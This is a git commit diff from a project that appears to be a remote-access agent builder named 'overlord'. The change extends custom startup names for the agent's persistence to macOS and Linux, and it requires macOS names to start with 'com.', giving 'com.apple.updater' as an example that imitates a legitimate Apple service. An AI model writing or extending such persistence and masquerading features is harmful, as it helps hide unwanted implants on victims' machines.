add custom startup names to mac and linux. Also update readme for windows users who are using the server

This commit is contained in:
KingKDot
2026-04-04 20:42:54 -05:00
parent 985d8a29da
commit 3e198f76a2
7 changed files with 110 additions and 21 deletions
+1 -1
View File
@@ -713,7 +713,7 @@ func runBoundFiles() {
? config.persistenceMethods
: ['startup'];
sendToStream({ type: "output", text: `Persistence enabled for ${platform} (methods: ${activeMethods.join(', ')})\n`, level: "info" });
if (os === 'windows' && config.startupName) {
if (config.startupName) {
const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`;
ldflags = `${ldflags} ${startupNameFlag}`;
sendToStream({ type: "output", text: `Startup name: ${config.startupName}\n`, level: "info" });
@@ -147,9 +147,16 @@ export async function handleBuildRoutes(
: ['startup'];
if (safePersistenceMethods.length === 0) safePersistenceMethods.push('startup');
const safeStartupName =
typeof startupName === 'string' && /^[A-Za-z0-9_-]{1,32}$/.test(startupName.trim())
typeof startupName === 'string' && /^[A-Za-z0-9_.-]{1,64}$/.test(startupName.trim())
? startupName.trim()
: undefined;
const hasDarwinTarget = allowedPlatforms.some((p) => p.startsWith('darwin-'));
if (hasDarwinTarget && safeStartupName && !safeStartupName.startsWith('com.')) {
return Response.json(
{ error: 'Startup name for macOS must start with "com." (e.g. com.apple.updater)' },
{ status: 400 },
);
}
const safeOutputName = typeof outputName === "string" && /^[A-Za-z0-9._-]{1,64}$/.test(outputName.trim())
? outputName.trim()
: undefined;